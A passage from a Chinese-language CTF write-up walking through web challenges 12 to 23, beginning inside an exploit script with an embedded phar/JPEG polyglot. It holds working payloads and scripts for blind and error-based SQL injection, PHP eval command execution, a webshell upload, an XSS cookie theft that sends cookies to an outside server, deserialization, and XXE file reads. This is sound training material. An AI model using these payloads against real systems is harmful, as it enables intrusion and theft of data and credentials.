\x04-\x04;\x04H\x04U\x04c\x04q\x04~\x04\x8c\x04\x9a\x04\xa8\x04\xb6\x04\xc4\x04\xd3\x04\xe1\x04\xf0\x04\xfe\x05\r\x05\x1c\x05+\x05:\x05I\x05X\x05g\x05w\x05\x86\x05\x96\x05\xa6\x05\xb5\x05\xc5\x05\xd5\x05\xe5\x05\xf6\x06\x06\x06\x16\x06'\x067\x06H\x06Y\x06j\x06{\x06\x8c\x06\x9d\x06\xaf\x06\xc0\x06\xd1\x06\xe3\x06\xf5\x07\x07\x07\x19\x07+\x07=\x07O\x07a\x07t\x07\x86\x07\x99\x07\xac\x07\xbf\x07\xd2\x07\xe5\x07\xf8\x08\x0b\x08\x1f\x082\x08F\x08Z\x08n\x08\x82\x08\x96\x08\xaa\x08\xbe\x08\xd2\x08\xe7\x08\xfb\x09\x10\x09%\x09:\x09O\x09d\x09y\x09\x8f\x09\xa4\x09\xba\x09\xcf\x09\xe5\x09\xfb\n\x11\n'\n=\nT\nj\n\x81\n\x98\n\xae\n\xc5\n\xdc\n\xf3\x0b\x0b\x0b\"\x0b9\x0bQ\x0bi\x0b\x80\x0b\x98\x0b\xb0\x0b\xc8\x0b\xe1\x0b\xf9\x0c\x12\x0c*\x0cC\x0c\\\x0cu\x0c\x8e\x0c\xa7\x0c\xc0\x0c\xd9\x0c\xf3\r\r\r&\r@\rZ\rt\r\x8e\r\xa9\r\xc3\r\xde\r\xf8\x0e\x13\x0e.\x0eI\x0ed\x0e\x7f\x0e\x9b\x0e\xb6\x0e\xd2\x0e\xee\x0f\x09\x0f%\x0fA\x0f^\x0fz\x0f\x96\x0f\xb3\x0f\xcf\x0f\xec\x10\x09\x10&\x10C\x10a\x10~\x10\x9b\x10\xb9\x10\xd7\x10\xf5\x11\x13\x111\x11O\x11m\x11\x8c\x11\xaa\x11\xc9\x11\xe8\x12\x07\x12&\x12E\x12d\x12\x84\x12\xa3\x12\xc3\x12\xe3\x13\x03\x13\x23\x13C\x13c\x13\x83\x13\xa4\x13\xc5\x13\xe5\x14\x06\x14'\x14I\x14j\x14\x8b\x14\xad\x14\xce\x14\xf0\x15\x12\x154\x15V\x15x\x15\x9b\x15\xbd\x15\xe0\x16\x03\x16&\x16I\x16l\x16\x8f\x16\xb2\x16\xd6\x16\xfa\x17\x1d\x17A\x17e\x17\x89\x17\xae\x17\xd2\x17\xf7\x18\x1b\x18@\x18e\x18\x8a\x18\xaf\x18\xd5\x18\xfa\x19 \x19E\x19k\x19\x91\x19\xb7\x19\xdd\x1a\x04\x1a*\x1aQ\x1aw\x1a\x9e\x1a\xc5\x1a\xec\x1b\x14\x1b;\x1bc\x1b\x8a\x1b\xb2\x1b\xda\x1c\x02\x1c*\x1cR\x1c{\x1c\xa3\x1c\xcc\x1c\xf5\x1d\x1e\x1dG\x1dp\x1d\x99\x1d\xc3\x1d\xec\x1e\x16\x1e@\x1ej\x1e\x94\x1e\xbe\x1e\xe9\x1f\x13\x1f>\x1fi\x1f\x94\x1f\xbf\x1f\xea \x15 A l \x98 \xc4 \xf0!\x1c!H!u!\xa1!\xce!\xfb\"'\"U\"\x82\"\xaf\"\xdd\x23\n\x238\x23f\x23\x94\x23\xc2\x23\xf0\x24\x1f\x24M\x24|\x24\xab\x24\xda%\x09%8%h%\x97%\xc7%\xf7&'&W&\x87&\xb7&\xe8'\x18'I'z'\xab'\xdc(\r(?(q(\xa2(\xd4)\x06)8)k)\x9d)\xd0*\x02*5*h*\x9b*\xcf+\x02+6+i+\x9d+\xd1,\x05,9,n,\xa2,\xd7-\x0c-A-v-\xab-\xe1.\x16.L.\x82.\xb7.\xee/\x24/Z/\x91/\xc7/\xfe050l0\xa40\xdb1\x121J1\x821\xba1\xf22*2c2\x9b2\xd43\r3F3\x7f3\xb83\xf14+4e4\x9e4\xd85\x135M5\x875\xc25\xfd676r6\xae6\xe97\x247`7\x9c7\xd78\x148P8\x8c8\xc89\x059B9\x7f9\xbc9\xf9:6:t:\xb2:\xef;-;k;\xaa;\xe8<'<e<\xa4<\xe3=\"=a=\xa1=\xe0> >`>\xa0>\xe0?!?a?\xa2?\xe2@\x23@d@\xa6@\xe7A)AjA\xacA\xeeB0BrB\xb5B\xf7C:C}C\xc0D\x03DGD\x8aD\xceE\x12EUE\x9aE\xdeF\"FgF\xabF\xf0G5G{G\xc0H\x05HKH\x91H\xd7I\x1dIcI\xa9I\xf0J7J}J\xc4K\x0cKSK\x9aK\xe2L*LrL\xbaM\x02MJM\x93M\xdcN%NnN\xb7O\x00OIO\x93O\xddP'PqP\xbbQ\x06QPQ\x9bQ\xe6R1R|R\xc7S\x13S_S\xaaS\xf6TBT\x8fT\xdbU(UuU\xc2V\x0fV\\V\xa9V\xf7WDW\x92W\xe0X/X}X\xcbY\x1aYiY\xb8Z\x07ZVZ\xa6Z\xf5[E[\x95[\xe5\\5\\\x86\\\xd6]']x]\xc9^\x1a^l^\xbd_\x0f_a_\xb3`\x05`W`\xaa`\xfcaOa\xa2a\xf5bIb\x9cb\xf0cCc\x97c\xebd@d\x94d\xe9e=e\x92e\xe7f=f\x92f\xe8g=g\x93g\xe9h?h\x96h\xeciCi\x9ai\xf1jHj\x9fj\xf7kOk\xa7k\xfflWl\xafm\x08m`m\xb9n\x12nkn\xc4o\x1eoxo\xd1p+p\x86p\xe0q:q\x95q\xf0rKr\xa6s\x01s]s\xb8t\x14tpt\xccu(u\x85u\xe1v>v\x9bv\xf8wVw\xb3x\x11xnx\xccy*y\x89y\xe7zFz\xa5{\x04{c{\xc2|!|\x81|\xe1}A}\xa1~\x01~b~\xc2\x7f\x23\x7f\x84\x7f\xe5\x80G\x80\xa8\x81\n\x81k\x81\xcd\x820\x82\x92\x82\xf4\x83W\x83\xba\x84\x1d\x84\x80\x84\xe3\x85G\x85\xab\x86\x0e\x86r\x86\xd7\x87;\x87\x9f\x88\x04\x88i\x88\xce\x893\x89\x99\x89\xfe\x8ad\x8a\xca\x8b0\x8b\x96\x8b\xfc\x8cc\x8c\xca\x8d1\x8d\x98\x8d\xff\x8ef\x8e\xce\x8f6\x8f\x9e\x90\x06\x90n\x90\xd6\x91?\x91\xa8\x92\x11\x92z\x92\xe3\x93M\x93\xb6\x94 \x94\x8a\x94\xf4\x95_\x95\xc9\x964\x96\x9f\x97\n\x97u\x97\xe0\x98L\x98\xb8\x99\x24\x99\x90\x99\xfc\x9ah\x9a\xd5\x9bB\x9b\xaf\x9c\x1c\x9c\x89\x9c\xf7\x9dd\x9d\xd2\x9e@\x9e\xae\x9f\x1d\x9f\x8b\x9f\xfa\xa0i\xa0\xd8\xa1G\xa1\xb6\xa2&\xa2\x96\xa3\x06\xa3v\xa3\xe6\xa4V\xa4\xc7\xa58\xa5\xa9\xa6\x1a\xa6\x8b\xa6\xfd\xa7n\xa7\xe0\xa8R\xa8\xc4\xa97\xa9\xa9\xaa\x1c\xaa\x8f\xab\x02\xabu\xab\xe9\xac\\\xac\xd0\xadD\xad\xb8\xae-\xae\xa1\xaf\x16\xaf\x8b\xb0\x00\xb0u\xb0\xea\xb1`\xb1\xd6\xb2K\xb2\xc2\xb38\xb3\xae\xb4%\xb4\x9c\xb5\x13\xb5\x8a\xb6\x01\xb6y\xb6\xf0\xb7h\xb7\xe0\xb8Y\xb8\xd1\xb9J\xb9\xc2\xba;\xba\xb5\xbb.\xbb\xa7\xbc!\xbc\x9b\xbd\x15\xbd\x8f\xbe\n\xbe\x84\xbe\xff\xbfz\xbf\xf5\xc0p\xc0\xec\xc1g\xc1\xe3\xc2_\xc2\xdb\xc3X\xc3\xd4\xc4Q\xc4\xce\xc5K\xc5\xc8\xc6F\xc6\xc3\xc7A\xc7\xbf\xc8=\xc8\xbc\xc9:\xc9\xb9\xca8\xca\xb7\xcb6\xcb\xb6\xcc5\xcc\xb5\xcd5\xcd\xb5\xce6\xce\xb6\xcf7\xcf\xb8\xd09\xd0\xba\xd1<\xd1\xbe\xd2?\xd2\xc1\xd3D\xd3\xc6\xd4I\xd4\xcb\xd5N\xd5\xd1\xd6U\xd6\xd8\xd7\\\xd7\xe0\xd8d\xd8\xe8\xd9l\xd9\xf1\xdav\xda\xfb\xdb\x80\xdc\x05\xdc\x8a\xdd\x10\xdd\x96\xde\x1c\xde\xa2\xdf)\xdf\xaf\xe06\xe0\xbd\xe1D\xe1\xcc\xe2S\xe2\xdb\xe3c\xe3\xeb\xe4s\xe4\xfc\xe5\x84\xe6\r\xe6\x96\xe7\x1f\xe7\xa9\xe82\xe8\xbc\xe9F\xe9\xd0\xea[\xea\xe5\xebp\xeb\xfb\xec\x86\xed\x11\xed\x9c\xee(\xee\xb4\xef@\xef\xcc\xf0X\xf0\xe5\xf1r\xf1\xff\xf2\x8c\xf3\x19\xf3\xa7\xf44\xf4\xc2\xf5P\xf5\xde\xf6m\xf6\xfb\xf7\x8a\xf8\x19\xf8\xa8\xf98\xf9\xc7\xfaW\xfa\xe7\xfbw\xfc\x07\xfc\x98\xfd)\xfd\xba\xfeK\xfe\xdc\xffm\xff\xffpara\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02ff\x00\x00\xf2\xa7\x00\x00\rY\x00\x00\x13\xd0\x00\x00\n[vcgt\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00ndin\x00\x00\x00\x00\x00\x00\x006\x00\x00\xae\x00\x00\x00R\x00\x00\x00C\xc0\x00\x00\xb0\xc0\x00\x00&@\x00\x00\r\x80\x00\x00P\x00\x00\x00T@\x00\x0233\x00\x0233\x00\x0233\x00\x00\x00\x00\x00\x00\x00\x00sf32\x00\x00\x00\x00\x00\x01\x0cr\x00\x00\x05\xf8\xff\xff\xf3\x1d\x00\x00\x07\xba\x00\x00\xfdr\xff\xff\xfb\x9d\xff\xff\xfd\xa4\x00\x00\x03\xd9\x00\x00\xc0qmmod\x00\x00\x00\x00\x00\x00\x06\x10\x00\x00\xa0@\x00\x00\x00\x00\xd5\x18d\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xc0\x00\x11\x08\x00\x0c\x00\x0c\x03\x01\"\x00\x02\x11\x01\x03\x11\x01\xff\xc4\x00\x1f\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\xff\xc4\x00\xb5\x10\x00\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01}\x01\x02\x03\x00\x04\x11\x05\x12!1A\x06\x13Qa\x07\"q\x142\x81\x91\xa1\x08\x23B\xb1\xc1\x15R\xd1\xf0\x243br\x82\x09\n\x16\x17\x18\x19\x1a%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\x94\x95\x96\x97\x98\x99\x9a\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xff\xc4\x00\x1f\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\xff\xc4\x00\xb5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04\x04\x00\x01\x02w\x00\x01\x02\x03\x11\x04\x05!1\x06\x12AQ\x07aq\x13\"2\x81\x08\x14B\x91\xa1\xb1\xc1\x09\x233R\xf0\x15br\xd1\n\x16\x244\xe1%\xf1\x17\x18\x19\x1a&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\x94\x95\x96\x97\x98\x99\x9a\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xff\xdb\x00C\x00\x02\x02\x02\x02\x02\x02\x03\x02\x02\x03\x05\x03\x03\x03\x05\x06\x05\x05\x05\x05\x06\x08\x06\x06\x06\x06\x06\x08\n\x08\x08\x08\x08\x08\x08\n\n\n\n\n\n\n\n\x0c\x0c\x0c\x0c\x0c\x0c\x0e\x0e\x0e\x0e\x0e\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\xff\xdb\x00C\x01\x02\x02\x02\x04\x04\x04\x07\x04\x04\x07\x10\x0b\x09\x0b\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\xff\xdd\x00\x04\x00\x01\xff\xda\x00\x0c\x03\x01\x00\x02\x11\x03\x11\x00?\x00\xfc\x93\xa2\x8a(4?\xff\xd9<?php __HALT_COMPILER(); ?>\r\n\xbd\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x87\x00\x00\x00O:7:\"Picture\":3:{s:7:\"sandbox\";s:2:\"||\";s:8:\"fileName\";s:46:\"/readflag > /var/www/html/picture/here_is_flag\";s:9:\"extension\";s:2:\"||\";}\x08\x00\x00\x00test.txt\x04\x00\x00\x00\x06\x88\xc9\\\x04\x00\x00\x00\x0c~\x7f\xd8\xb6\x01\x00\x00\x00\x00\x00\x00test\xa8t\x9ci\xfc\x91\xc1yY\x94?\xa6\xe6\x91\xce\x1a\x83mhE\x02\x00\x00\x00GBMB", 'image/jpeg'))] headers = {"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://47.106.182.92:8233/index.php","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"} response = session.post(ip + "upload.php", files=paramsMultipart, headers=headers)content = json.loads(response.content) orgin_url = content['success']['orgin']paramsMultipart = [['picture', ['exp.svg', "<?xml version=\"1.0\" standalone=\"no\"?>\n<!DOCTYPE svg SYSTEM \"phar://./%s\">\n<svg version=\"1.0\" xmlns=\"http://www.w3.org/2000/svg\"\n width=\"1.600000pt\" height=\"3.200000pt\" viewBox=\"0 0 1.600000 3.200000\"\n preserveAspectRatio=\"xMidYMid meet\">\n<metadata>\nCreated by potrace 1.13, written by Peter Selinger 2001-2015\n</metadata>\n<g transform=\"translate(0.000000,3.200000) scale(0.080000,-0.080000)\"\nfill=\"\x23000000\" stroke=\"none\">\n</g>\n</svg>", 'application/octet-stream']]]paramsMultipart[0][1][1] = paramsMultipart[0][1][1] % orgin_url #print(paramsMultipart[0][1][1]) response = session.post(ip + "upload.php", files=paramsMultipart, headers=headers)print requests.get(ip + "/picture/here_is_flag").content

12、Babysql

題目描述:成信大的學生真是不得了,這么多黑客,不過這次我做了防御的!

這題和前面第五題差不多,就是過濾了or和by雙寫就能繞過

13、神秘的三葉草

題目描述:柳暗花明

打開網址F12查看,發現氛圍兩個字有一個a標簽,鏈接到Secret.php文件

直接訪問

抓包,在里面加上referer:https://www.Sycsecret.com

轉發之后得到

在原來添加了referer字段之后,再把UA頭改為Syclover

轉發得到

在前面兩步的基礎上加上x-forwarded-for:127.0.0.1,轉發得到flag

14、Eval evil code

題目描述:Lamber是個老實人,他會執行你給他的代碼。

題解:參考官方題解

打開題目網址,有兩個輸入框,上面那個是你要它執行的代碼,下面那個驗證碼,然后驗證碼經過md5加密后的前四位已經給你了

先給出我跑驗證碼的腳本,這里四位都是數字的肯定能跑出來,其他的基本跑不出,不過下面有官方的腳本

import hashlib,sys def getMD5(Cap):for x in range(100000,1000000):captcha=xMD5=hashlib.md5(str(captcha)).hexdigest()if MD5[:4] == Cap:return captcha print getMD5('四位數字')

這里我先是輸入了phpinfo();,記住這個后面的分號好一定要帶上,發現能成功執行

然后執行系統命令,發現提示,不能執行帶參的函數,這里我以為只要括號里有東西就不行,就不會了

?

下面給出官方思路

1、爆破md5的部分見下方的法二腳本處。 結合scandir(),getcwd(),readfile()等函數遍歷當前目錄的所有文件名,再結合array_reverse和next讀取倒數第二個文件,也就是flag文件。 payload=readfile(next(array_reverse(scandir(getcwd())))); //讀取倒數第二個文件,記得帶上分號 2、 想辦法獲得我們需要的惡意參數 這里利用自定義變量獲得。 腳本如下? # -*- coding: UTF-8 -*- import requests import hashlib import re import random import sys url='http://148.70.59.198:34386/index.php?a=system("cat theflag.php");' headers={ 'Content-Type': 'application/x-www-form-urlencoded','Cookie':'PHPSESSID=1a0ab8abc64974479646b48938cda2e4' } def getCap():res=requests.get(url=url,headers=headers).textr=re.search("substr\(md5\(\$captcha\),0,4\) =='(.*?)'",res)c=r.group(1)md5_value=''x=''while c!=md5_value:x=str(random.random())md5_value=hashlib.md5(x.encode("utf-8")).hexdigest()[:4]return x def test(poc,cap):data='payload={}&code={}'.format(poc,cap)res=requests.post(url=url,headers=headers,data=data).textreturn res a=test('eval(end(pos(get_defined_vars())));',getCap()) print(a[:500])

?

3、

依舊是想辦法獲得惡意參數。 http header頭中注入惡意參數,再利用getallheaders函數獲得參數 。 ayrain: system(' cat theflag.php '); payload=eval(end(getallheaders()));

15、Jiang‘s Secret

題目描述:我在那放了一個秘密!

這題可以F12查看源碼,這里介紹一個騷方法,直接ctrl+A全選,發現多了個Oh!You found me,點擊之后跳到Archive_room.php界面

點擊Secret之后直接跳到end.php,提示:沒看清么?回去再仔細看看吧。

返回去,F12查看源碼,發現Secret的a標簽鏈接的是action.php,直接訪問然后抓包,放到repeater模塊發送一下得到一個文件名

訪問一下,得到源碼

<html><title>secret</title><meta charset="UTF-8"> <?phphighlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); //flag放在了flag.php里 ?> </html>

這里過濾了一些東西,但是可以直接使用php://fiter偽協議讀取文件,payload

file=php://filter/convert.base64-encode/resource=flag.php

16、Hardsql

題目描述:信安之路,任重道遠…

hint:sql報錯注入

sql報錯注入,這里過濾了空格,使用括號繞過;過濾了and,使用or代替,后面語句where條件只用一個;過濾了等于號,使用like繞過

http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(database())),%27~%27),3))%23&password=123 #爆數據庫名 geek http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),%27~%27),3))%23&password=123 #爆表名 H4rDsq1 http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),%27~%27),3))%23&password=123 #爆字段 id,username,password http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(password))from(H4rDsq1)),%27~%27),3))%23&password=123 #得到flag

更:

做buuoj的時候這里會出現flag不全的問題,這是因為updatexml爆出信息有長度限制32位,這時候可以用substr來截斷,但是這里被過濾了,這里可以使用right函數,函數作用就是從右往左截取length個字符,后面那個34可以自己調控,沒出來就改這個數字,多試試

admin'or(updatexml(1,right(concat(%27~%27,(select(group_concat(password))from(H4rDsq1)),%27~%27),34),3))%23

?

17、你有特洛伊么

題目描述:dGhpcyBpcyBub3QgZWFzeQ==

打開題目網址,發現上傳按鈕

直接上傳一個php一句話,會提示"not image!"

上面檢測的是content-type類型,將其改為image/jpeg可繞過

這個上面檢測的是php后綴名,將其改為phtml,成功繞過

上面這個過濾的很明顯,不能出現"<?",那就換個一句話<script language="php">eval($_GET['x']);</script>實行繞過

最后這個過濾是檢查文件頭,在內容前面加上GIF89,就可以上傳成功

但是這里只告訴了文件名,沒有告訴路徑,盲猜在文件夾upload下,最后訪問頁面測試一下

http://118.25.14.40:8107/upload/shell.phtml?x=phpinfo();

測試成功,可以菜刀連接,也可以直接執行系統命令,得到flag

http://118.25.14.40:8107/upload/shell.phtml?x=system(%22cat%20/flag/flag.txt%22);

這里分享一下騷操作,就是直接訪問upload文件夾,去跑別人的馬,就算沒跑出來,也可以獲得一些做題方法

18、Leixiao's blog

題目描述:你會盜號嗎??

hint:儲存型XSS && 認真測試各個功能點(懷疑機器人掛了的Q我)

題解:官方說xss點在忘記密碼那里

先隨便注冊一個賬號,mmmmm/mmmmm,然后密保問題是test,當我們填寫完會發現它被寫入網頁的位置,就可以閉合標簽

?

這里提供一下官方的思路,先在自己的公網服務器上新建一個x.js的文件,里面寫入

window.location='http://你的公網服務器/cookie='+document.cookie;

然后注冊的時候把密保問題改為下面這個,記住不是答案,是問題

"></script/src=//你的公網服務器ip地址/x.js> 官方說這里好像填10進制的ip機器人不解析,得換成16進制

然后觸發xss的點是在登陸之后的report模塊里,將忘記密碼的網址填進去

查看日志即可獲取cookie

然后刷新網頁,抓包,更改cookie,即可獲取flag

在這里非常感謝淚笑師傅的指導!!!

19、反序列化1.0

題目描述:socre10000拿到flag

打開題目,F12得到關鍵代碼

<!-- class Student {public $score = 0;public function __destruct(){echo "__destruct working";if($this->score==10000) {$flag = "******************";echo $flag;}} } $exp = $_GET['exp']; echo "<br>"; unserialize($exp);?>

直接構造payload:

<?phpclass Student{public $score = 0;public function __destruct(){echo "__destruct working";if($this->score==10000) {$flag = "******************";echo $flag;}}}$o=new Student;$o->score=10000;echo serialize($o); ?>//打印O:7:"Student":1:{s:5:"score";i:10000;}?exp=O:7:"Student":1:{s:5:"score";i:10000;}

拿到flag

20、又來一只貓

題目描述:我家貓名字叫php

打開網址,發現提示信息,有備份網站的習慣,直接訪問http://118.25.14.40:8109/www.zip得到源碼

發現幾個關鍵的文件:index.php、class.php、flag.php

flag.php里面的flag是假的,查看index.php和class.php,發現關鍵代碼

//index.php <?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select); ?>//class.php <?php include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}} } ?>

這里介紹一下__wakeup,它是一個魔術方法,會在反序列化時調用,但是可以被繞過

O:7:"Student":1:{s:5:"score";i:10000;} //正規的 O:7:"Student":2:{s:5:"score";i:10000;} //修改之后的 Sudent后面那個數字代表類中的成員個數,修改成一個比原來大的數字,就可以繞過

最后構造的payload,拿到flag

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}這里加的%00Name%00代表的是成員是private protected加的是%00*name%00

21、你有初戀嗎

題目描述:你變心了嗎

打開題目網址,F12得到源碼

關鍵代碼

<!-- $adore='***************'; $now = $_POST['lover']; setcookie("Heart", md5($adore.'syclover')); if(isset($now)&&$now!=syclover) {if($_COOKIE['Heart'] === md5($adore. urldecode($now))){die ($flag);}else {die('I do not love you! You are not in my heart!');}} -->

這里使用二次編碼就能繞過,但是官方題解是說想考hash長度擴展攻擊,我最后構造的payload

post:lover=%25%37%33%25%37%39%25%36%33%25%36%43%25%36%46%25%37%36%25%36%35%25%37%32

?

22、Finalsql

題目描述:sql你太美:

打開網址,提示信息是sql盲注,這里的sql注入存在于上面的鏈接中

id=1時:頁面內容是NO! Not this! Click others~~~ id=2時:頁面內容是yingyingying~ Not this as well~~ id=3時:頁面內容是很多的Ohhh You find the flag read on! id=4時:頁面內容是OK OK I will tell you,just in the next! really~~~~ id=5時:頁面內容是 You are too naive!How can I give it to you? So,why not take a look at the sixth one?But where is it? id=6時:Clever! But not this table. id=其他內容時:顯示ERROR!!!

訪問之后,這里利用的是id后面的參數可以做減法來注入,php作比較時返回的值要么是1,要么是0,所以可以通過判斷頁面是否發生改變來判斷語句的真假,拿id=2這個頁面來演示

這里先介紹一下盲注常用的幾個函數 strcmp(a,b) #a和b相等時會返回0,a>b會返回-1,a<b返回1 ascii(),ord() #函數返回字符串的首個字符的 ASCII 值 截斷字符串使用的幾個函數 substr(str,start,len) #從字符串的start下標開始,截取len個字符 left(str,len) #從左往右截取len個字符 right(str,len) #從右往左截取len個字符

url:http://118.25.14.40:8104/search.php?id=2-(strcmp(database(),%27geek%27))

頁面無變化說明數據庫名就是geek,后面腳本中i的范圍也可以通過這樣來確定,當然也可以設置很長,能讀出來都行

接下來就是跑表,腳本代碼,the table_name is :F1naI1y,Flaaaaag

import sys import requeststable_name='' url="http://118.25.14.40:8104/search.php?id=2" payload1="-(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())," payload2=",1))>" payload3=")"for i in range(1,20):max=122 #zmin=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midtable_name=table_name+chr(max)print("the table_name is :%s" % table_name)

字段名,根據前面的題目可以猜測出是id,username,password,下面只給出password的驗證代碼,其余的可以自己改

import requests url="http://118.25.14.40:8104/search.php?id=2" payload1="-(ascii(substr((select(group_concat(column_name))" payload2="from(information_schema.columns)where(table_name)=%27F1naI1y%27)," payload3=",1))=" payload4=")" a=[112,97,115,115,119,111,114,100] #password j=13 #password的起始位置 for i in range(len(a)):payload=url+payload1+payload2+str(j)+payload3+str(a[i])+payload4r=requests.get(payload)j+=1if "others" not in r.text:print payloadprint r.textelse:print "success"

下面給出跑字段的腳本

import sys import requestscolumn_name='' url="http://118.25.14.40:8104/search.php?id=2" payload1="-(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y')," payload2=",1))>" payload3=")"for i in range(1,30):max=122 #zmin=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midcolumn_name=column_name+chr(max)print("the column_name is :%s" % column_name)

最后跑username和password字段的內容,最終在password中得到flag

import sys import requestsusername='' url="http://118.25.14.40:8104/search.php?id=2" payload1="-(ascii(substr((select(group_concat(username))from(F1naI1y))," payload2=",1))>" payload3=")"for i in range(1,51):max=122 #zmin=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midusername=username+chr(max)print("the username is :%s" % username)password='' url="http://118.25.14.40:8104/search.php?id=2" payload1="-(ascii(substr((select(group_concat(password))from(F1naI1y))," payload2=",1))>" payload3=")"for i in range(1,195):max=125 #}min=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midpassword=password+chr(max)print("the password is :%s" % password)

23、你讀懂瀟文清的網站了嗎?

題目描述:xxe

參考官方題解:

1、輸入框存在xxe,讀源碼,然后依次找到config.php upload.php等。找到文件名這里個人想法御劍掃描一下也行,因為不是能特別明確的能看到upload.php

<?xml version = "1.0"?> <!DOCTYPE note [<!ENTITY hacker SYSTEM "php://filter/read=convert.base64-encode/resource=./index.php"> ]> <name>&hacker;</name>

?

上面是官方的wp,具體的步驟:

(1)現在輸入框隨便輸入什么東西,抓包,發送,沒什么變化

(2)xxe注入點就在123那里,在前面加個Content-Type:text/xml,然后再加上payload,即可讀取index.php文件內容

//index.php <?php error_reporting(0); include("./config.php"); date_default_timezone_set("PRC");if(!empty($_POST['submit'])){ $data= $_POST['data']; if (preg_match("/flag|decode|file|zlib|input|data|http|ftp|#/i",$data)){echo "no!!!you cant read flag right here!";exit(); }$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);print($xml); }?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Login</title><link href="./style_log.css" rel="stylesheet" type="text/css"><link rel="stylesheet" type="text/css" href="./style.css"><link rel="stylesheet" type="text/css" href="./userpanel.css"></head><body class="login" mycollectionplug="bind"> <div class="login_m"><div class="login_logo"><img src="http://120.79.186.183/jpg/677406.jpg" width="216" height="130"></div><div class="login_boder"><div class="login_padding" id="login_model"><div style="text-align:center; vertical-align:middel;"><h3>告訴我你想說的</h3></div> <form action="./index.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}"> <div style="text-align:center; 